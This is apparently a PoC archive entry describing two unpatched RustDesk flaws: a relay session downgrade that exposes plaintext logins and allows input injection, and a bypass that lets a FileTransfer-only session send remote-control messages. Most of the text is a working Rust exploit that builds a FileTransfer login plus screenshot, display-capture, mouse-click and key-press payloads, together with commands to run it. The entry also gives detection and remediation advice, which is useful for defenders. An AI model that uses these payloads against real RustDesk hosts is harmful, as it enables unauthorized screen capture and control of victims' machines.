PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

RustDesk Relay Session Downgrade and FileTransfer Authorization Scope Bypass

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
network
Affected product
RustDesk (rustdesk/rustdesk) — client relay/session setup and server-side connection dispatcher
Affected versions
Validated against source checkout rustdesk/rustdesk commit ff226f6d8013dee2de5a6553abaf67bf32b3e875
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-07
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorynetwork
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsrustdesk, remote-desktop, session-downgrade, authorization-bypass, protocol, relay, filetransfer, rust
RelatedN/A

Affected Target

FieldValue
Software / SystemRustDesk (rustdesk/rustdesk) — client relay/session setup and server-side connection dispatcher
Versions AffectedValidated against source checkout rustdesk/rustdesk commit ff226f6d8013dee2de5a6553abaf67bf32b3e875
Language / PlatformRust (RustDesk client/server); PoC is a Rust protobuf payload generator with a loopback relay simulation
Authentication RequiredFinding 1 (session downgrade): requires attacker control of the relay/rendezvous metadata path (no victim password needed). Finding 2 (FileTransfer scope bypass): requires a valid FileTransfer authorization (password proof or user approval)
Network Access RequiredYes

Summary

This entry covers two related but distinct RustDesk findings. First, RustDesk’s client can fail open on secure-session setup: when the signed peer key material from the rendezvous/relay path is missing or invalid, the client requests a non-secure relay and sends an empty handshake message rather than failing closed, allowing a malicious relay/rendezvous-position attacker to observe the subsequent plaintext login and inject protocol messages (e.g. mouse events) into an otherwise-authenticated session without knowing the password. Second, RustDesk records FileTransfer logins as AuthConnType::FileTransfer, but the post-authorization message dispatcher gates many message types (mouse, keyboard, screenshot, display capture) on the broad self.authorized flag instead of the specific connection type, so a session that was only authorized for file transfer can still reach remote-control-class message handlers. Both PoCs work by verifying the vulnerable source shape against a local RustDesk checkout and generating/replaying the relevant framed protocol payloads. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

Session downgrade: the client derives whether to request a secure relay from !signed_id_pk.is_empty(); when the signed peer key is absent or untrusted, it sends an empty/public-key-empty message and continues without installing a peer encryption key, and the server-side connection likewise skips the secure setup path when the secure flag/key-length requirements are not met — an insecure fallback that fails open instead of closed.

FileTransfer scope bypass: AuthConnType::FileTransfer is recorded on login, but unlike the terminal and view-camera branches (which explicitly clear keyboard/input state), the FileTransfer post-login branch does not narrow later message dispatch; the dispatcher’s broad self.authorized-gated branch still routes mouse, keyboard, and screenshot/capture messages regardless of the specific AuthConnType.

Attack Vector

Finding 1 — Relay session downgrade:

  1. Attacker controls or manipulates the rendezvous/relay metadata path so the connecting client’s signed peer key is absent or invalid.
  2. Client requests a non-secure relay and sends an empty first message; the controlled side proceeds without the peer encryption layer since the secure flag/key requirements aren’t met.
  3. The legitimate client completes normal authentication (Hash challenge → valid LoginRequest) in the clear.
  4. The relay, sitting in this position, parses the plaintext LoginRequest and, after the controlled side authorizes the legitimate login, injects a plaintext MouseEvent (or similar) which the controlled side accepts because the session is already authorized.

Finding 2 — FileTransfer scope bypass:

  1. Attacker obtains a valid FileTransfer authorization (password proof or explicit user approval for file transfer).
  2. Attacker sends a LoginRequest whose union is FileTransfer; the target records the connection as AuthConnType::FileTransfer and authorizes it.
  3. After LoginResponse success, the same connection sends non-file-transfer messages (screenshot request, display capture, mouse click, key press).
  4. Because later dispatch is gated by broad self.authorized state rather than AuthConnType::Remote, these messages reach handlers that should be reserved for remote-control sessions.

Impact

Finding 1 allows a relay/rendezvous-position attacker to observe plaintext login traffic and inject arbitrary control messages (e.g. mouse input) into a session without needing the victim’s password — it does not itself achieve RCE but breaks the confidentiality/integrity guarantee of the “secure” session. Finding 2 lets an attacker with only file-transfer-level authorization escalate to sending remote-control-class input and screen-capture messages, exceeding the scope the user consented to.


Environment / Lab Setup

Target:   rustdesk/rustdesk source checkout at commit ff226f6d8013dee2de5a6553abaf67bf32b3e875
Attacker: Rust toolchain (cargo), local RustDesk checkout path (--repo-root / RUSTDESK_REPO_ROOT) for protobuf bindings

Proof of Concept

PoC Script

See session-downgrade/ (Cargo project, src/main.rs, sample payloads in session-downgrade/payloads/) and filetransfer-scope-bypass/ (Cargo project, src/main.rs, sample payloads in filetransfer-scope-bypass/payloads/) in this folder. Sanitized local verification output is in evidence/local-verification.txt. Flattened top-level copies (session-downgrade-poc.rs, filetransfer-scope-bypass-poc.rs) are also provided for quick inline viewing.

1
2
3
4
5
6
7
cd session-downgrade
RUSTDESK_REPO_ROOT=/path/to/rustdesk cargo run -- --repo-root /path/to/rustdesk --out ./payloads

cd filetransfer-scope-bypass
RUSTDESK_REPO_ROOT=/path/to/rustdesk cargo run -- --repo-root /path/to/rustdesk --out ./payloads \
  --peer-id 123456789 --my-id 987654321 --my-name poc-controller \
  --password "CorrectHorseBatteryStaple!" --salt "sample-server-salt" --challenge "123456"

The session-downgrade tool verifies the vulnerable source shape against the given RustDesk checkout, generates framed downgrade-handshake/login/injected-mouse/injected-screenshot payloads, and runs a local loopback relay simulation demonstrating plaintext login observation and message injection. The filetransfer-scope-bypass tool similarly verifies the source shape and emits a FileTransfer login plus screenshot/capture/mouse/keypress protobuf message bodies intended for replay against an authorized test session.


Detection & Indicators of Compromise

Signs of compromise:

  • RustDesk sessions that complete a “secure” handshake but show relay-observable plaintext login/control traffic
  • Connections authorized only for file transfer that subsequently send input or screen-capture protocol messages
  • Unexpected mouse/keyboard events or screenshot requests correlated with sessions established through untrusted or attacker-influenced relay/rendezvous infrastructure

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory; require valid signed peer key material for sessions expected to be secure and fail closed rather than falling back to an empty/insecure handshake; dispatch post-auth messages through an allowlist keyed by AuthConnType so FileTransfer sessions cannot reach remote-control message handlers
Interim mitigationOnly use trusted, self-hosted rendezvous/relay servers; avoid relaying sessions through third-party infrastructure; review RustDesk server logs for FileTransfer-authorized connections sending non-file-transfer messages

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: rustdesk-session-permission-pocs) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation. This entry bundles two separate sub-findings from the source repository, preserved here under the session-downgrade/ and filetransfer-scope-bypass/ subfolders, each with its own PoC source and sample payloads.

filetransfer-scope-bypass-poc.rs
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
include!(concat!(env!("OUT_DIR"), "/protos/mod.rs"));

use anyhow::{bail, Context, Result};
use protobuf::{EnumOrUnknown, Message as _};
use sha2::{Digest, Sha256};
use std::{env, fs, path::{Path, PathBuf}};

use crate::message as proto;

fn main() -> Result<()> {
    let mut repo_root = None::<PathBuf>;
    let mut out_dir = env::current_dir()?.join("poc_out");
    let mut peer_id = "controlled-peer-id".to_owned();
    let mut my_id = "attacker-id".to_owned();
    let mut my_name = "filetransfer-control-poc".to_owned();
    let mut password = None::<String>;
    let mut salt = None::<String>;
    let mut challenge = None::<String>;

    let mut args = env::args().skip(1);
    while let Some(arg) = args.next() {
        match arg.as_str() {
            "--repo-root" => repo_root = Some(PathBuf::from(next_arg(&mut args, "--repo-root")?)),
            "--out" => out_dir = PathBuf::from(next_arg(&mut args, "--out")?),
            "--peer-id" => peer_id = next_arg(&mut args, "--peer-id")?,
            "--my-id" => my_id = next_arg(&mut args, "--my-id")?,
            "--my-name" => my_name = next_arg(&mut args, "--my-name")?,
            "--password" => password = Some(next_arg(&mut args, "--password")?),
            "--salt" => salt = Some(next_arg(&mut args, "--salt")?),
            "--challenge" => challenge = Some(next_arg(&mut args, "--challenge")?),
            "--help" | "-h" => {
                print_help();
                return Ok(());
            }
            other => bail!("unknown argument: {other}"),
        }
    }

    let repo_root = match repo_root {
        Some(path) => path,
        None => find_repo_root()?,
    };
    verify_source_reachability(&repo_root)?;
    fs::create_dir_all(&out_dir).with_context(|| format!("create {}", out_dir.display()))?;

    let password_proof = match (password, salt, challenge) {
        (Some(password), Some(salt), Some(challenge)) => {
            Some(rustdesk_password_proof(&password, &salt, &challenge))
        }
        (None, None, None) => None,
        _ => bail!("--password, --salt, and --challenge must be supplied together"),
    };

    let payloads = [
        (
            "01_login_filetransfer.bin",
            login_filetransfer(&peer_id, &my_id, &my_name, password_proof.unwrap_or_default())?,
        ),
        ("02_screenshot_request.bin", screenshot_request()?),
        ("03_capture_display0.bin", capture_display0()?),
        ("04_mouse_left_click.bin", mouse_left_click()?),
        ("05_key_return_press.bin", key_return_press()?),
    ];

    for (name, bytes) in payloads {
        let path = out_dir.join(name);
        fs::write(&path, &bytes).with_context(|| format!("write {}", path.display()))?;
        println!("{name}: {} bytes, hex={}", bytes.len(), hex::encode(&bytes));
    }

    println!();
    println!("PoC payloads written to {}", out_dir.display());
    println!("Use only against a RustDesk host you own/control. The sequence is:");
    println!("1. complete the normal transport/key exchange and receive Hash(salt, challenge)");
    println!("2. send 01_login_filetransfer.bin with a valid password proof");
    println!("3. after LoginResponse success, send screenshot/capture/input payloads");
    println!("The source verifier confirmed this commit accepts these post-auth messages on a FileTransfer connection without rechecking AuthConnType::Remote.");
    Ok(())
}

fn next_arg(args: &mut impl Iterator<Item = String>, name: &str) -> Result<String> {
    args.next()
        .with_context(|| format!("missing value for {name}"))
}

fn print_help() {
    println!(
        "Usage: rustdesk_filetransfer_control_poc --repo-root <rustdesk> --out <dir> \\
         [--peer-id <id>] [--my-id <id>] [--my-name <name>] \\
         [--password <pw> --salt <salt> --challenge <challenge>]"
    );
}

fn find_repo_root() -> Result<PathBuf> {
    let mut dir = env::current_dir()?;
    loop {
        let candidate = dir.join("rustdesk").join("src").join("server").join("connection.rs");
        if candidate.exists() {
            return Ok(dir.join("rustdesk"));
        }
        if !dir.pop() {
            bail!("could not auto-locate rustdesk repo; pass --repo-root");
        }
    }
}

fn verify_source_reachability(repo_root: &Path) -> Result<()> {
    let connection = fs::read_to_string(repo_root.join("src/server/connection.rs"))
        .with_context(|| "read src/server/connection.rs")?;
    let ui_cm = fs::read_to_string(repo_root.join("src/ui_cm_interface.rs"))
        .with_context(|| "read src/ui_cm_interface.rs")?;

    require(&connection, "self.file_transfer = Some((ft.dir, ft.show_hidden));")?;
    require(&connection, "self.authorized = true;")?;
    require(&connection, "(1, AuthConnType::FileTransfer)")?;
    require(&connection, "if let Some((dir, show_hidden)) = self.file_transfer.clone()")?;
    require(&connection, "} else if self.terminal {")?;
    require(&connection, "Some(message::Union::MouseEvent(mut me))")?;
    require(&connection, "if self.peer_keyboard_enabled()")?;
    require(&connection, "Some(message::Union::KeyEvent(me))")?;
    require(&connection, "Some(message::Union::ScreenshotRequest(request))")?;
    require(&connection, "crate::video_service::set_take_screenshot(")?;
    require(&ui_cm, "allow_err!(client.tx.send(Data::Authorize));")?;

    let file_transfer_branch = connection
        .find("if let Some((dir, show_hidden)) = self.file_transfer.clone()")
        .context("file-transfer post-login branch not found")?;
    let terminal_branch = connection[file_transfer_branch..]
        .find("} else if self.terminal {")
        .context("terminal post-login branch not found after file-transfer branch")?
        + file_transfer_branch;
    let between = &connection[file_transfer_branch..terminal_branch];
    if between.contains("self.keyboard = false") {
        bail!("file-transfer branch appears to disable keyboard in this checkout");
    }
    Ok(())
}

fn require(haystack: &str, needle: &str) -> Result<()> {
    if haystack.contains(needle) {
        Ok(())
    } else {
        bail!("source reachability check failed, missing snippet: {needle:?}")
    }
}

fn rustdesk_password_proof(password: &str, salt: &str, challenge: &str) -> Vec<u8> {
    let mut h1 = Sha256::new();
    h1.update(password.as_bytes());
    h1.update(salt.as_bytes());
    let h1 = h1.finalize();

    let mut h2 = Sha256::new();
    h2.update(&h1);
    h2.update(challenge.as_bytes());
    h2.finalize().to_vec()
}

fn login_filetransfer(peer_id: &str, my_id: &str, my_name: &str, proof: Vec<u8>) -> Result<Vec<u8>> {
    let mut ft = proto::FileTransfer::new();
    ft.dir = String::new();
    ft.show_hidden = false;

    let mut lr = proto::LoginRequest::new();
    lr.username = peer_id.to_owned();
    lr.password = proof.into();
    lr.my_id = my_id.to_owned();
    lr.my_name = my_name.to_owned();
    lr.version = "1.4.3".to_owned();
    lr.my_platform = env::consts::OS.to_owned();
    lr.union = Some(proto::login_request::Union::FileTransfer(ft));

    let mut msg = proto::Message::new();
    msg.union = Some(proto::message::Union::LoginRequest(lr));
    Ok(msg.write_to_bytes()?)
}

fn screenshot_request() -> Result<Vec<u8>> {
    let mut req = proto::ScreenshotRequest::new();
    req.display = 0;
    req.sid = "poc-filetransfer-screenshot".to_owned();
    let mut msg = proto::Message::new();
    msg.union = Some(proto::message::Union::ScreenshotRequest(req));
    Ok(msg.write_to_bytes()?)
}

fn capture_display0() -> Result<Vec<u8>> {
    let mut cap = proto::CaptureDisplays::new();
    cap.set.push(0);
    let mut misc = proto::Misc::new();
    misc.union = Some(proto::misc::Union::CaptureDisplays(cap));
    let mut msg = proto::Message::new();
    msg.union = Some(proto::message::Union::Misc(misc));
    Ok(msg.write_to_bytes()?)
}

fn mouse_left_click() -> Result<Vec<u8>> {
    let mut mouse = proto::MouseEvent::new();
    mouse.mask = 1;
    mouse.x = 320;
    mouse.y = 240;
    let mut msg = proto::Message::new();
    msg.union = Some(proto::message::Union::MouseEvent(mouse));
    Ok(msg.write_to_bytes()?)
}

fn key_return_press() -> Result<Vec<u8>> {
    let mut key = proto::KeyEvent::new();
    key.press = true;
    key.union = Some(proto::key_event::Union::ControlKey(EnumOrUnknown::new(
        proto::ControlKey::Return,
    )));
    key.mode = EnumOrUnknown::new(proto::KeyboardMode::Map);
    let mut msg = proto::Message::new();
    msg.union = Some(proto::message::Union::KeyEvent(key));
    Ok(msg.write_to_bytes()?)
}